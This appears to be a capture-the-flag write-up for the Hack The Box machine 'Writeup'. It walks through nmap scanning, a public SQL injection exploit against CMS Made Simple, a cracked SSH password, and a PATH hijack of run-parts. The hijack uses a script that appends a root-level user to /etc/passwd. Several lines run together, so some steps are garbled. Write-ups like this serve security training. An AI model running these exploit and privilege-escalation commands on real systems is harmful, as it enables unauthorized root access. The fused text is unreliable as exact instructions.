Platform: Hack The Box
Difficulty: Easy
IP Address: 10.10.10.138
Date Completed: [Insert Date]
Writeup is an Easy-rated Linux machine that features a web application powered by CMS Made Simple. A SQL injection vulnerability allows us to extract credentials and gain SSH access. Privilege escalation is achieved by exploiting the run-parts mechanism used in SSH login scripts. By taking advantage of writable paths in PATH, a fake run-parts script is used to insert a root-level user into /etc/passwd.
nmap -sV -sT -sC -o nmapinitial writeup.htb
22/tcp open ssh OpenSSH 7.4p1 Debian
80/tcp open http Apache httpd 2.4.25
Found /writeup via robots.txt, which revealed a CMS Made Simple site.
Identified CMS Made Simple via meta tag. Used a known SQLi exploit from 2019:
python 46635.py -u http://writeup.htb/writeup/ --crack -w /usr/share/wordlists/rockyou.txt
Extracted:
jkrraykayjay9ssh jkr@writeup.htb
# password: raykayjay9
📄 user.txt
1c0a66ed************************
pspy32 to monitor processesrun-parts execution on SSH login:
sh -c /usr/bin/env -i PATH=... run-parts ...
jkr is in staff group, which has write access to /usr/local/binrun-parts script:
#!/bin/bash
echo 'rooot:gDlPrjU6SWeKo:0:0:root:/root:/bin/bash' >> /etc/passwd
/usr/local/bin/run-parts and made it executableopenssl passwd AAAA
# gDlPrjU6SWeKo
su rooot
# password: AAAA
📄 root.txt
f8d7f60a************************
PATH order and writable directories can be abused to hijack root-owned scriptspspy is invaluable for catching real-time privilege escalation triggers